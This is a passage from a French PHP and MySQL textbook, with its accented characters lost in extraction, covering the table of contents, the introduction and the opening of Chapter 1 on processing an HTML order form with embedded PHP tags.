Transfert des fichiers .......................................................................................
Envoyer des e-mails incluant des pices jointes .............................................
Prsentation de la solution ..........................................................................................
Configuration de la base de donnes ..........................................................................
Architecture du script .................................................................................................
Implmentation de la connexion ...............................................................................
Cration dun nouveau compte .......................................................................
Ouvrir une session ...........................................................................................
Implmentation des fonctions de lutilisateur ............................................................
Consultation des listes .....................................................................................
Affichage des informations dune liste ............................................................
Affichage des archives dune liste ...................................................................

687
687
688
689
689
690
692
694
701
702
704
707
708
713
715

XX

PHP & MySQL

Inscriptions et dsinscriptions .........................................................................


Modification des paramtres dun compte ......................................................
Changement des mots de passe .......................................................................
Fermeture de session .......................................................................................
Implmentation des fonctions administratives ...........................................................
Cration dune nouvelle liste ..........................................................................
Transfert vers le serveur dun nouveau bulletin ..............................................
Gestion du transfert de plusieurs fichiers ........................................................
Prvisualisation du bulletin .............................................................................
Envoi du bulletin .............................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

716
717
718
720
720
721
723
726
730
731
736
737

29 Implmentation dun forum web .............................................................................


Comprendre le processus ............................................................................................
Composants de la solution ..........................................................................................
Prsentation de la solution ..........................................................................................
Conception de la base de donnes ..............................................................................
Afficher larborescence des articles ............................................................................
Ouverture et fermeture des fils de discussion ..................................................
Affichage des articles ......................................................................................
Utilisation de la classe treenode ......................................................................
Afficher des articles particuliers .................................................................................
Ajouter de nouveaux articles ......................................................................................
Extensions ...................................................................................................................
Utiliser un systme existant ........................................................................................
Pour la suite ................................................................................................................

739
739
740
742
743
746
749
752
753
759
761
768
769
769

30 Production de documents personnaliss en PDF ....................................................


Prsentation du projet .................................................................................................
valuation des formats de documents ........................................................................
Papier ...............................................................................................................
Texte ASCII .....................................................................................................
HTML .............................................................................................................
Formats des traitements de texte .....................................................................
Rich Text Format .............................................................................................
PostScript ........................................................................................................
Portable Document Format .............................................................................
Les composants de la solution ....................................................................................
Systme dvaluation ......................................................................................
Logiciel de gnration des documents ............................................................
Prsentation de la solution ..........................................................................................
Poser les questions du QCM ...........................................................................

771
771
772
772
772
773
773
774
775
776
777
777
777
780
781

Table des matires

XXI

valuation des rponses ..................................................................................


Production du certificat RTF ...........................................................................
Production dun certificat PDF partir dun modle ......................................
Production dun document PDF avec PDFlib ................................................
Un script "Bonjour tout le monde" pour PDFlib .............................................
Production dun certificat avec PDFlib ...........................................................
Gestion des problmes avec les en-ttes .....................................................................
Pour aller plus loin ......................................................................................................
La suite .......................................................................................................................

783
786
789
793
793
798
805
806
806

31 Connexion des services web avec XML et SOAP ................................................


Prsentation du projet : manipuler XML et les services web ....................................
Introduction XML ........................................................................................
Introduction aux services web ........................................................................
Composants de la solution .........................................................................................
Utilisation de linterface des services web dAmazon ...................................
Analyse XML : rponses REST .....................................................................
Utilisation de SOAP avec PHP .......................................................................
Mise en cache .................................................................................................
Prsentation de la solution .........................................................................................
Cur de lapplication ......................................................................................
Affichage des livres dune catgorie ...............................................................
La classe AmazonResultSet ............................................................................
Utilisation de REST pour effectuer une requte et rcuprer un rsultat .......
Utilisation de SOAP pour effectuer une requte et rcuprer un rsultat ......
Mise en cache des rponses une requte .....................................................
Construction du panier virtuel ........................................................................
Passer la commande auprs dAmazon ...........................................................
Installation du code du projet ....................................................................................
Extension du projet ....................................................................................................
Pour aller plus loin .....................................................................................................

807
807
808
811
813
813
814
815
815
815
820
826
828
836
842
844
846
850
850
851
851

32 Construction dapplications web 2.0 avec Ajax ......................................................


Introduction Ajax ....................................................................................................
Requtes et rponses HTTP ...........................................................................
DHTML et XHTML .......................................................................................
CSS ..................................................................................................................
Programmation ct client .............................................................................
Programmation ct serveur ..........................................................................
XML et XSLT .................................................................................................
Prsentation dAjax ...................................................................................................
Lobjet XMLHTTPRequest ..............................................................................
Communication avec le serveur ......................................................................

853
854
854
856
856
858
858
858
859
859
861

XXII

PHP & MySQL

Utilisation de la rponse du serveur ...............................................................


Rassemblement des composants ....................................................................
Ajouter des lments Ajax des projets existants .....................................................
Ajouter des lments Ajax PHPbookmark ...................................................
Pour aller plus loin .....................................................................................................
En savoir plus sur le DOM (Document Object Model) ...................................
Bibliothques JavaScript pour les applications Ajax .....................................
Sites consacrs au dveloppement Ajax .........................................................

863
865
868
869
882
882
883
883

Partie VI
Annexes
Annexe A Installation de PHP et de MySQL ...............................................................
Installation dApache, PHP et MySQL sous Unix .....................................................
Installation partir de binaires ........................................................................
Installation partir des sources .......................................................................
Installation de MySQL ....................................................................................
Installation de PHP ..........................................................................................
Modification du fichier httpd.conf ...................................................................
Test du fonctionnement de PHP .....................................................................
Test du fonctionnement de SSL ......................................................................
Installation dApache, de PHP et de MySQL sous Windows .....................................
Installation de MySQL sous Windows ............................................................
Installation dApache sous Windows ..............................................................
Installation de PHP sous Windows ..................................................................
Installation de PEAR ..................................................................................................
Autres configurations ..................................................................................................

887
888
888
889
890
892
895
896
897
898
898
900
902
904
905

Annexe B Ressources web ..............................................................................................


Ressources PHP ..........................................................................................................
Ressources MySQL et SQL ........................................................................................
Ressources Apache .....................................................................................................
Dveloppement web ...................................................................................................

907
907
910
910
910

Index ..................................................................................................................................

911

Introduction
Vous vous intressez au dveloppement web avec PHP et MySQL ? Ce livre est fait
pour vous ! Vous y trouverez nos expriences les plus utiles sur PHP et MySQL, deux
des plus passionnants outils de dveloppement web du moment.

Les points forts de ce livre


Ce livre vous expliquera comment crer des sites web interactifs, de leur expression la
plus simple des sites interactifs du Web 2.0 en passant par les sites de commerce lectronique scuriss et complexes. Vous apprendrez galement vous servir des technologies
open-source.
Ce livre est destin aux lecteurs qui connaissent dj au minimum les bases du
langage HTML et ont lhabitude de programmer dans un langage de programmation
moderne, mais qui ne connaissent pas ncessairement la programmation sur Internet
ou les bases de donnes relationnelles. Si vous tes un programmeur dbutant, ce
livre devrait galement vous intresser, mais il vous faudra peut-tre un peu plus de
temps pour lassimiler. Nous avons essay de noublier aucun concept fondamental,
toutefois, certains dentre eux seront prsents assez rapidement. Ce livre est donc
principalement destin aux lecteurs qui souhaitent matriser PHP et MySQL pour
implmenter un site web commercial ou de qualit professionnelle. Si vous utilisez
dj un langage de dveloppement pour le Web, cet ouvrage devrait vous mettre rapidement sur la bonne voie.
Nous avons crit la premire dition de ce livre lorsque nous nous sommes rendu
compte que tous les ouvrages existants consacrs PHP se limitaient une simple
numration de ses fonctions. Ces livres sont naturellement trs utiles, mais ils ne sont
daucune aide lorsque votre patron ou un client vous demande : "Implmentez-moi un
panier virtuel pour mon site de commerce lectronique." Nous avons fait de notre
mieux pour que tous nos exemples soient aussi utiles que possible. La plupart des
programmes peuvent tre utiliss directement sur votre site web ; les autres ne ncessiteront que quelques modifications mineures.

PHP & MySQL

Ce que vous apprendrez en lisant ce livre


Si vous avez dj implment des sites web en HTML pur, vous avez dj compris les
limites de cette approche : ils sont tout simplement trop statiques. Ils restent identiques
jusqu ce que vous les mettiez jour vous-mme. En outre, les utilisateurs ne peuvent
pas interagir avec ce type de site, en tout cas de manire intressante.
Lutilisation dun langage comme PHP et dune base de donnes comme MySQL
permet de rendre vos sites dynamiques : ils pourront alors tre personnaliss et mis
jour en temps rel.
Ds les premiers chapitres, nous nous sommes dlibrment concentrs sur des applications
relles et pratiques. Nous commencerons par tudier un systme simple de commande en
ligne, et nous continuerons avec les diffrentes parties de PHP et de MySQL.
Nous aborderons ensuite diffrents aspects du commerce lectronique et de la scurit,
puisquil sagit de deux composants importants des sites web, et nous montrerons
comment les implmenter avec PHP et MySQL.
Dans la dernire section de ce livre, nous verrons comment attaquer le dveloppement
de projets rels et passerons en revue la conception, la planification et limplmentation
des projets suivants :
m

authentification des utilisateurs et personnalisation dun site ;

paniers virtuels ;

systmes de messagerie web ;

gestionnaires de listes de diffusion ;

forums web ;

production de documents PDF ;

services web avec XML et SOAP ;

applications web 2.0 avec Ajax.

Tous ces projets sont utilisables tels quels ou peuvent tre modifis en fonction de vos
besoins. Nous les avons choisis parce que nous pensons quils sont reprsentatifs des
applications web auxquelles les programmeurs sont le plus souvent confronts. Si vos
besoins sont diffrents, ce livre devrait toutefois vous aider atteindre vos objectifs.

Prsentation de PHP
PHP est un langage de script ct serveur qui a t conu spcifiquement pour le Web.
Le code PHP est inclus dans une page HTML et sera excut chaque fois quun visiteur

Introduction

affichera la page. Le code PHP est interprt au niveau du serveur web et gnre du
code HTML ou toute autre donne affichable dans le navigateur de lutilisateur.
PHP a t conu en 1994 par Rasmus Lerdorf. Il a ensuite t adopt par dautres
personnes talentueuses et rcrit quatre fois avant de devenir le produit abouti que nous
connaissons aujourdhui. En novembre 2007, il tait install sur plus de 21 millions de
domaines et sa croissance est rapide. Vous trouverez des statistiques plus rcentes sur le
site http://www.php.net/usage.php.
PHP est un projet open-source, ce qui signifie que vous pouvez vous procurer son code,
lutiliser, le modifier et le redistribuer gratuitement.
PHP signifiait lorigine Personal Home Page, mais ce nom a t chang en un acronyme rcursif comme GNU (Gnus Not Unix) : il signifie maintenant PHP Hypertext
Preprocessor.
La dernire version principale de PHP est la version 5. Elle bnficie dune rcriture
complte du moteur Zend et de quelques amliorations importantes au niveau du
langage.
La page daccueil de PHP est accessible ladresse http://www.php.net.
La page de Zend Technologies, lentreprise des fondateurs de PHP, se trouve ladresse
http://www.zend.com.

Prsentation de MySQL
MySQL est un systme de gestion de bases de donnes relationnelles (SGBDR) robuste
et rapide. Une base de donnes permet de manipuler les informations de manire efficace, de les enregistrer, de les trier, de les lire et dy effectuer des recherches. Le serveur
MySQL contrle laccs aux donnes pour sassurer que plusieurs utilisateurs peuvent
se servir simultanment dune mme base de donnes pour y accder rapidement et
pour garantir que seuls les utilisateurs autoriss peuvent accder aux donnes. MySQL
est donc un serveur multi-utilisateur et multithread. Il utilise SQL (Structured Query
Language), le langage standard des requtes de bases de donnes. MySQL est disponible depuis 1996, mais son dveloppement remonte 1979. Il sagit de la base de
donnes open-source la plus employe au monde et elle a reu le Linux Journal
Readers Choice Award plusieurs reprises.
MySQL est dsormais disponible sous une double licence. Vous pouvez lutiliser
gratuitement sous licence open-source (GPL) condition de respecter les termes de
cette licence. Si vous souhaitez distribuer une application non GPL incluant MySQL,
vous pouvez aussi acheter une licence commerciale.

PHP & MySQL

Pourquoi utiliser PHP et MySQL ?


Lors de limplmentation dun site web, vous avez le choix entre de nombreux produits.
Vous devez notamment choisir :
m

la plate-forme matrielle du serveur web ;

un systme dexploitation ;

un logiciel de serveur web ;

un systme de gestion de base de donnes ;

un langage de programmation ou de script.

Certains de ces choix dpendent directement des autres. Tous les systmes dexploitation
ne fonctionnent pas sur toutes les plates-formes ; par exemple, tous les serveurs web ne
reconnaissent pas tous les langages de programmation, etc.
Dans ce livre, nous ne nous intresserons pas particulirement au matriel, votre
systme dexploitation ou votre logiciel de serveur web. Nous nen avons pas besoin
car lune des caractristiques intressantes de PHP et de MySQL tient ce quils fonctionnent avec tous les systmes dexploitation les plus connus et avec la plupart des
autres.
Un script PHP peut, dans la plupart des cas, tre crit de faon tre portable entre les
systmes dexploitation et les serveurs web. Certaines fonctions sont directement lies
aux spcificits dun systme de fichiers particulier, mais elles sont clairement identifies
comme telles dans le manuel de rfrence et dans ce livre.
Quels que soient votre plate-forme, votre systme dexploitation ou votre serveur web,
nous pensons que PHP et MySQL sont des options trs intressantes.

Quelques avantages de PHP


Les principaux concurrents de PHP sont Perl, ASP.NET de Microsoft, Ruby (avec ou
sans Rails), Java Server Pages (JSP) et ColdFusion.
Par rapport tous ces produits, PHP possde plusieurs avantages significatifs :
m

les performances ;

ladaptabilit ;

des interfaces vers diffrents systmes de bases de donnes ;

Introduction

des bibliothques intgres pour la plupart des tches web ;

un faible cot ;

la simplicit dutilisation et dapprentissage ;

un bon support orient objet ;

la portabilit ;

la souplesse dans le processus de dveloppement ;

la disponibilit de son code source ;

la disponibilit du support et de la documentation.

Performances
PHP est trs rapide. Avec un seul serveur dentre de gamme, vous pouvez servir des
millions de requtes par jour. Les tests de performances publis par Zend Technologies
(http://www.zend.com) montrent que PHP dpasse tous ses concurrents.
Adaptabilit
PHP utilise ce que Rasmus Lerdorf dsigne souvent comme une architecture "sans
partage". Cela signifie que vous pouvez implmenter de faon efficace et peu de frais
une ferme de serveurs en ajoutant des machines en fonction de vos besoins.
Intgration avec les bases de donnes
PHP dispose de connexions natives vers la plupart des systmes de bases de donnes.
Outre MySQL, vous pouvez vous connecter directement aux bases de donnes
PostgreSQL, Oracle, dbm, FilePro, DB2, Informix, InterBase et Sybase, pour ne citer
quelles. PHP 5 possde galement une interface SQL intgre, SQLite, pour grer les
fichiers plats.
En fait, grce au standard ODBC (Open Database Connectivity), vous pouvez vous
connecter nimporte quelle base de donnes possdant un pilote ODBC, ce qui est le
cas des produits Microsoft, notamment.
Outre ces bibliothques natives, PHP dispose dune couche dabstraction pour laccs
aux bases de donnes : PDO (PHP Database Objects) autorise ainsi une certaine cohrence et facilite la prise en compte de la scurit lors de laccs aux bases.
Bibliothques intgres
PHP ayant t conu pour tre utilis sur le Web, il possde de nombreuses fonctions intgres permettant deffectuer la plupart des tches de programmation web.

PHP & MySQL

Vous pouvez ainsi gnrer des images en temps rel, vous connecter des services
web et dautres services rseaux, analyser des documents XML, envoyer du courrier
lectronique, manipuler les cookies et produire des documents PDF avec seulement
quelques lignes de code.
Cot
PHP est gratuit. Vous pouvez vous procurer la dernire version du langage sur le site
http://www.php.net, sans payer quoi que ce soit.
Facilit dapprentissage de PHP
La syntaxe de PHP repose sur celle dautres langages de programmation, essentiellement C et Perl. Si vous savez dj programmer en C, en Perl ou en un autre
langage analogue, comme C++ ou Java, lapprentissage de PHP sera quasiment
immdiat.
Support orient objet
PHP 5 possde des fonctionnalits orientes objet bien conues. Si vous avez appris
programmer en Java ou en C++, vous disposerez en PHP des fonctionnalits (et, gnralement, de la syntaxe) dont vous avez lhabitude : lhritage, les attributs et les mthodes privs et protgs, les classes et les mthodes abstraites, les interfaces, les
constructeurs et les destructeurs, notamment. Vous dcouvrirez galement des mcanismes moins courants, comme les itrateurs. Certaines de ces fonctionnalits taient
disponibles dans PHP 3 et 4, mais le support orient objet de la version 5 est bien plus
complet.
Portabilit
PHP est disponible sur de nombreux systmes dexploitation. Vous pouvez crire votre
code PHP pour des systmes dexploitation Unix libres et gratuits, comme Linux ou
FreeBSD, pour des versions commerciales dUnix comme Solaris, IRIX, OS-X ou pour
les diffrentes versions de Windows.
Un code PHP bien crit pourra donc gnralement tre utilis sans modification sur un
autre systme.
Souplesse dans le processus de dveloppement
PHP permet dimplmenter simplement les traitements simples, mais vous pouvez tout
aussi facilement implmenter de grosses applications laide dun framework reposant
sur les patrons de conception, comme Modle-Vue-Contrleur (MVC).

Introduction

Code source
Le code source de PHP est disponible gratuitement. Contrairement aux produits
commerciaux, dont les sources ne sont pas distribus, vous avez donc la possibilit de
modifier le langage ou dy ajouter de nouvelles caractristiques.
Vous navez par consquent plus besoin dattendre que les concepteurs distribuent des
correctifs logiciels et navez plus craindre la disparition de la socit ou larrt du
support du produit que vous utilisez.
Disponibilit du support et de la documentation
Zend Technologies (www.zend.com), lentreprise qui est lorigine du moteur de PHP,
finance son dveloppement en offrant des services de support et des logiciels lis sous
forme commerciale.
La documentation et la communaut PHP fournissent un grand nombre de ressources et
dinformations compltes sur le langage.

Nouveauts de PHP 5
Il se peut que vous soyez rcemment pass de lune des versions PHP 4.x PHP 5.
Comme on est en droit de lattendre dans une nouvelle version majeure, dimportantes
modifications ont vu le jour et le moteur Zend de PHP a t rcrit pour cette version.
Voici les principales nouvelles fonctionnalits :
m

un meilleur support orient objet construit autour dun modle objet entirement
nouveau (voir Chapitre 6) ;
la gestion des exceptions pour un traitement volutif des erreurs, facilitant la maintenance (voir Chapitre 7) ;
SimpleXML pour une gestion simplifie des donnes XML (voir Chapitre 31).

Parmi les autres modifications, notons encore le dplacement de certaines extensions de


linstallation PHP par dfaut dans la bibliothque PECL, lamlioration de la gestion
des flux et lajout de SQLite.
Au moment o nous crivons ce livre, la version courante de PHP est la 5.2 et la
version 5.3 se profile lhorizon. PHP 5.2 ajoute un certain nombre de fonctionnalits
intressantes :
m

une nouvelle extension pour filtrer les entres, afin damliorer la scurit ;

lextension JSON pour amliorer linteroprabilit avec JavaScript ;

le suivi de la progression des dpts de fichiers ;

m
m

PHP & MySQL

une meilleure gestion des dates et des heures ;


de nombreuses bibliothques clientes amliores et des performances encore
accrues (le moteur Zend utilise une meilleure gestion de la mmoire) ;
de nombreux bogues corrigs.

Quelques avantages de MySQL


Les principaux concurrents de MySQL sont PostgreSQL, Microsoft SQL Server et Oracle.
MySQL possde sur eux plusieurs avantages :
m

des performances leves ;

un cot rduit ;

une simplicit de configuration et dapprentissage ;

sa portabilit ;

laccessibilit de son code source ;

la disponibilit du support.

Performances
MySQL est indniablement un systme rapide. Vous pouvez consulter les statistiques
de ses performances sur le site http://web.mysql.com/why-mysql/benchmark.html.
La plupart des tests montrent que MySQL est bien plus rapide que ses concurrents, de
plusieurs ordres de grandeur. En 2002, eWeek a publi un banc dessais qui comparait
cinq bases de donnes alimentant une application web. Le meilleur rsultat a plac ex
quo MySQL et Oracle, qui est pourtant un produit bien plus cher.
Cot rduit
MySQL est disponible gratuitement sous une licence open-source ou, pour un prix trs
raisonnable, sous licence commerciale. Vous devez vous procurer une licence si vous
souhaitez redistribuer MySQL dans une application et que vous ne souhaitiez pas que
lapplication se trouve sous licence open-source. Si vous ne comptez pas distribuer
votre application (ce qui est gnralement le cas de la plupart des applications web) ou
si vous travaillez sur un logiciel open-source, il nest pas ncessaire dacheter une
licence.
Simplicit demploi
La plupart des bases de donnes modernes utilisent SQL. Si vous connaissez dj
dautres SGBDR, vous ne devriez pas avoir de problme pour vous adapter. En outre,

Introduction

MySQL est plus simple installer que la plupart des produits similaires. La courbe
dapprentissage ncessaire lacquisition des comptences dun administrateur de base
de donnes (DBA, ou DataBase Administrator) est bien plus courte que celle des autres
bases de donnes.
Portabilit
MySQL peut tre utilis sur un grand nombre de systmes Unix, ainsi quavec
Windows.
Code source
Comme pour PHP, vous pouvez vous procurer le code source de MySQL. Pour la
plupart des utilisateurs, ce point nest pas important, mais il doit vous tranquilliser
lesprit en vous assurant une continuit future et en vous offrant des possibilits en cas
durgence.
Disponibilit du support
Tous les produits open-source nont pas une entreprise parente qui propose des services
de support, de formations, de consultation et de certification : vous pouvez obtenir tout
cela de la part de MySQL AB (www.mysql.com).

Nouveauts de MySQL 5
Parmi les modifications majeures introduites par MySQL 5, nous citerons les suivantes :
m

les vues ;

les procdures stockes (voir Chapitre 13) ;

un support minimal des triggers ;

le support des curseurs.

On peut galement noter une meilleure compatibilit avec le standard ANSI et des
amliorations en matire de vitesse.
Si vous utilisez toujours une ancienne version 4.x ou 3.x du serveur MySQL, vous
devez savoir que les fonctionnalits suivantes ont t ajoutes aux diffrentes versions
depuis la version 4.0 :
m

support des sous-requtes ;

types GIS pour stocker les donnes gographiques ;

support amlior pour linternationalisation ;

10

m
m

PHP & MySQL

moteur de stockage transactionnel InnoDB inclus en standard ;


cache de requtes MySQL pour amliorer fortement la vitesse des requtes rptitives
souvent produites par les applications web.

Ce livre utilise MySQL 5.1 (Beta Community Edition), qui ajoute les fonctionnalits
suivantes :
m

partitionnement ;

rplication par lignes ;

programmation des vnements ;

tables de log ;

amliorations de MySQL Cluster, du schma dinformations, des processus de


sauvegarde ;
nombreuses corrections de bogues.

Organisation de ce livre
Ce livre est dcoup en cinq parties.
La premire partie prsente les diffrents lments du langage PHP, ainsi que quelques
exemples. Tous ces exemples sont pratiques, issus de notre exprience dans limplmentation dun site de commerce lectronique, et non thoriques. La prsentation de
PHP dbute avec le Chapitre 1 : si vous connaissez dj le langage, vous pouvez passer
directement au chapitre suivant. Si vous dbutez en PHP ou en programmation, en
revanche, il peut tre intressant de vous y arrter un peu plus longuement. Si vous
connaissez dj PHP 4, consultez quand mme le Chapitre 6 car les fonctionnalits
orientes objet ont sensiblement chang.
La deuxime partie aborde les concepts ncessaires lutilisation des systmes de bases
de donnes relationnelles, comme MySQL, lutilisation de SQL, linterconnexion de
votre base de donnes MySQL avec le monde extrieur, en passant par PHP et certains
concepts avancs de MySQL, comme la scurit et les optimisations.
La troisime partie est consacre aux problmes gnraux qui peuvent survenir lors du
dveloppement dun site web dans nimporte quel langage. Les problmes les plus
importants concernent la scurit. Nous verrons ensuite comment vous pouvez tirer
profit de PHP et de MySQL pour authentifier vos utilisateurs et collecter, transmettre et
enregistrer vos donnes en toute scurit.
La quatrime partie sintresse plus prcisment aux principales fonctions intgres dans
PHP. Nous avons slectionn des groupes de fonctions qui vous intresseront srement

Introduction

11

lorsque vous implmenterez un site web. Vous y apprendrez notamment ce quest linteraction avec le serveur, linteraction avec le rseau, la gnration dimages, les manipulations de date et dheure et les variables de sessions.
La cinquime et dernire partie est notre prfre : nous y tudierons quelques problmes rels, comme la gestion et le suivi de projets importants, ainsi que le dbogage des
applications. Nous prsenterons galement quelques projets mettant en vidence la
puissance et la flexibilit de PHP et de MySQL.

Encore un mot
Nous esprons que ce livre vous satisfera et que vous serez aussi passionn par
lapprentissage de PHP et de MySQL que nous lavons t lorsque nous avons
commenc nous servir de ces logiciels. Leur utilisation est un plaisir part entire.
Vous serez bientt mme de rejoindre les milliers de dveloppeurs web qui se servent
de ces outils puissants et robustes pour construire des sites web dynamiques.

I
Utilisation de PHP
1

PHP : les bases

Stockage et rcupration des donnes

Utilisation de tableaux

Manipulation de chanes et dexpressions rgulires

Rutilisation de code et criture de fonction

PHP orient objet

Gestion des exceptions

1
PHP : les bases
Ce chapitre expose succinctement la syntaxe et les constructions du langage PHP. Les
programmeurs PHP y trouveront peut-tre loccasion de complter leurs connaissances sur
le sujet. Ltude de ce chapitre sera plus facile et plus rapide pour ceux qui possdent des
notions de base sur dautres langages de programmation, comme C, Perl ou ASP.
Dans cet ouvrage, lapprentissage qui vous est propos repose sur de nombreux exemples du monde rel, tirs de lexprience des auteurs en matire de conception de sites
web. Les manuels de programmation exposent souvent la syntaxe de base en
sappuyant sur des exemples simples mais notre parti pris est diffrent. Nous pensons
quil est prfrable dapprendre un langage de programmation en ralisant des projets
oprationnels, plutt quassimiler un recueil de fonctions et un expos de la syntaxe qui
napportent gure plus que le manuel en ligne.
En consquence, nous vous proposons de vous faire la main sur les exemples donns
ici ; vous pouvez les saisir ou les charger partir du site Pearson (www.pearson.fr),
les modifier, en isoler des extraits et apprendre les adapter vos besoins.
Dans ce chapitre, vous verrez comment utiliser les variables, les oprateurs et les
expressions en construisant un formulaire de commande en ligne. Nous tudierons
galement les types de variables et les priorits des oprateurs. Vous apprendrez ensuite
accder aux variables des formulaires et manipuler celles-ci afin de calculer le
montant total et les taxes dans un bon de commande mis par un client.
Nous poursuivrons le dveloppement de cet exemple en insrant dans notre script PHP
le code ncessaire un contrle de la validit des donnes entres par lutilisateur.
cette occasion, nous prsenterons le concept de valeurs boolennes, ainsi que plusieurs
exemples dutilisation des instructions if, else et switch et de loprateur ?:.
Enfin, nous aborderons les boucles en crivant du code PHP gnrant une structure de
tableau HTML de faon rptitive.

16

Partie I

Utilisation de PHP

Utilisation de PHP
La ralisation et lexcution des exemples prsents dans cet ouvrage ncessitent davoir
accs un serveur web sur lequel PHP est install. Pour tirer le meilleur parti des exemples
et des cas dcole traits ici, il est conseill de les excuter et dessayer de les modifier.
Pour cela, vous avez besoin dune installation de test o vous puissiez exprimenter loisir.
Si PHP nest pas install sur votre ordinateur, vous devez commencer par procder
son installation ou contacter votre administrateur systme pour quil sen charge. Vous
trouverez lAnnexe A, "Installation de PHP et de MySQL", une description de la
procdure dinstallation.

Formulaires HTML
Le traitement des formulaires HTML constitue une des applications les plus courantes
que doivent prendre en charge les langages de script excuts ct serveur. Cest pourquoi nous allons commencer lapprentissage de PHP par limplmentation dun formulaire de commande pour une entreprise fictive de vente de pices dtaches dnomme
Le garage de Bob. Vous trouverez tout le code relatif cette application modle dans le
rpertoire chapitre01 sur le site Pearson.
Code du formulaire
Nous allons partir du stade o le programmeur de lentreprise a tabli un formulaire
permettant aux clients de passer des commandes (voir Figure 1.1). Il sagit dun formulaire simple, comparable aux nombreux autres publis sur le Web.
Figure 1.1
Le formulaire initial
de Bob nenregistre
que les articles
et leurs quantits
respectives.

partir de ce formulaire, Bob veut en premier lieu rcuprer la liste des articles
commands par son client, tablir le montant total de la commande, ainsi que le
montant des taxes payer sur cette commande.

Chapitre 1

PHP : les bases

17

Une partie du code HTML gnrant ce formulaire est prsente dans le Listing 1.1.
Listing 1.1 : orderform.html Code HTML gnrant le formulaire basique
de commande de Bob
<form action="processorder.php" method=post>
<table border=0>
<tr bgcolor=#cccccc>
<td width=150>Articles</td>
<td width=15>Quantit</td>
</tr>
<tr>
<td>Pneus</td>
<td align="center"><input type="text" name="qte_pneus"
size="3" maxlength="3"></td>
</tr>
<tr>
<td>Huiles</td>
<td align="center"><input type="text" name="qte_huiles"
size="3" maxlength="3"></td>
</tr>
<tr>
<td>Bougies</td>
<td align="center"><input type="text" name="qte_bougies"
size="3" maxlength="3"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="Passer commande">
</td>
</tr>
</table>
</form>

Tout dabord, notez que lattribut action de la balise form de ce formulaire a pour
valeur le nom du script PHP qui va traiter la commande du client (et que nous crirons un
peu plus loin). En gnral, la valeur affecte lattribut action est lURL charger lorsque
lutilisateur appuie sur le bouton submit. Les donnes saisies par lutilisateur dans le
formulaire sont alors transmises cette URL, via la mthode spcifie dans lattribut
method, cest--dire soit get (dans ce cas, les donnes sont spcifies la fin de lURL),
soit post (dans ce cas, les donnes sont transmises sous forme dun paquet spar).
Notez galement les noms des champs du formulaire (qte pneus, qte huiles et
qte bougies) : comme nous les utiliserons dans notre script PHP, il est important de
choisir des noms explicites facilement mmorisables. Certains diteurs HTML gnrent
par dfaut des noms de champs tels que field23 mais il est difficile de sen souvenir
lorsque lon crit ensuite le script. Pour faciliter votre travail de programmeur PHP,
nous vous conseillons dadopter des noms qui refltent la nature des donnes entres
dans les champs.

18

Partie I

Utilisation de PHP

Vous devriez mme adopter une convention pour dnommer les noms des champs lors
de la cration dun site web ; de cette faon, les noms des champs se conformeront au
mme format sur lensemble du site. Une telle convention peut, par exemple, stipuler
que les noms de champ sont obtenus en abrgeant les mots et en remplaant les espaces
par des blancs souligns.
Traitement du formulaire
Pour traiter le formulaire, nous devons crer le script processorder.php auquel renvoie
la valeur de lattribut action de la balise form. Dans votre diteur de texte, tapez le code
suivant et sauvegardez-le sous ce nom :
<html>
<head>
<title>Le garage de Bob Rsultats de la commande</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Rsultats de la commande</h2>
</body>
</html>

Vous remarquerez que ces lignes ne sont que du code HTML. Nous allons prsent leur
ajouter du code PHP.

Incorporation de code PHP dans du code HTML


Sous la balise de titre <h2>, saisissez les lignes suivantes :
<?
echo <p>Commande traite.;
?>

Enregistrez votre fichier, puis chargez-le dans votre navigateur web en remplissant le
formulaire de Bob et en cliquant sur le bouton Passer commande. La Figure 1.2 montre
le rsultat que vous devez alors obtenir.
Figure 1.2
Le texte pass une
instruction echo de
PHP est affich dans
le navigateur web.

Chapitre 1

PHP : les bases

19

Notez comment le code PHP a t incorpor dans un fichier HTML "normal". Affichez
la source de la page dans votre navigateur. Voici le code que vous devriez voir :
<html>
<head>
<title>Le garage de Bob - Rsultats de la commande</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Rsultats de la commande</h2>
<p>Commande traite.
</body>
</html>

Le code PHP brut nest pas affich tel quel dans le navigateur. En effet, linterprteur
PHP analyse le script et le remplace par le rsultat de son excution. partir dun
script PHP, nous pouvons ainsi produire du code HTML directement affichable dans un
navigateur, sans que le navigateur comprenne le langage PHP.
Cet exemple illustre le concept de programmation web ct serveur : le code PHP est
interprt et excut sur le serveur web, contrairement au code JavaScript et aux autres
technologies ct client, qui sont interprtes et excutes par le navigateur, sur lordinateur de lutilisateur.
Le code contenu dans le fichier considr ici se compose de quatre lments :
m

du HTML ;

des balises PHP ;

des instructions PHP ;

des espaces.

Nous pouvons galement y ajouter des commentaires.


La plupart des lignes de cet exemple sont simplement du code HTML.
Balises PHP
Dans lexemple prcdent, le code PHP commence par les caractres <? et se
termine par les caractres ?>. Cette syntaxe est comparable la syntaxe des balises
du HTML, qui commencent elles aussi par le caractre < (infrieur ) et se terminent
par le caractre > (suprieur ). Ces symboles sont appels balises PHP et indiquent
au serveur web o commence et o finit le code PHP. Tout texte plac entre ces balises est interprt comme du code PHP et tout texte situ en dehors est trait comme
du code HTML normal. Les balises PHP permettent ainsi de "schapper" du
contexte HTML.
Il existe diffrents types de balises. Examinons-les plus en dtail.

20

Partie I

Utilisation de PHP

Styles des balises PHP


Il existe actuellement quatre styles diffrents de balises PHP. Les diffrents fragments
de code qui suivent sont quivalents.
m

Style XML :
<?php echo "<p>Commande traite.";?>

Il sagit du style de balise qui sera employ dans ce livre. Ce style est le style de rfrence utiliser avec PHP 3 et PHP 4 car ladministrateur du serveur ne peut pas le
dsactiver, ce qui vous garantit sa disponibilit sur tous les serveurs et qui est particulirement important si vous crivez des applications qui peuvent tre utilises sur
diffrentes installations. Ce style de balise est compatible avec des documents XML
(eXtensible Markup Language). Nous vous conseillons dutiliser ce style de balise.
m

Style abrg :
<? echo "<p>Commande traite.";?>

Ce style de balise est le plus simple ; il respecte le style des instructions de traitement SGML (Standard Generalized Markup Language). Pour utiliser ce type de
balise, qui est le plus rapide saisir au clavier, vous devez autoriser loption
open tag dans votre fichier de configuration ou compiler PHP en activant les balises abrges. Vous trouverez plus dinformations concernant ce style de balise dans
lAnnexe A. Nous vous dconseillons de lutiliser car il ne fonctionnera pas dans de
nombreux environnements puisquil nest plus activ par dfaut.
m

Style SCRIPT :
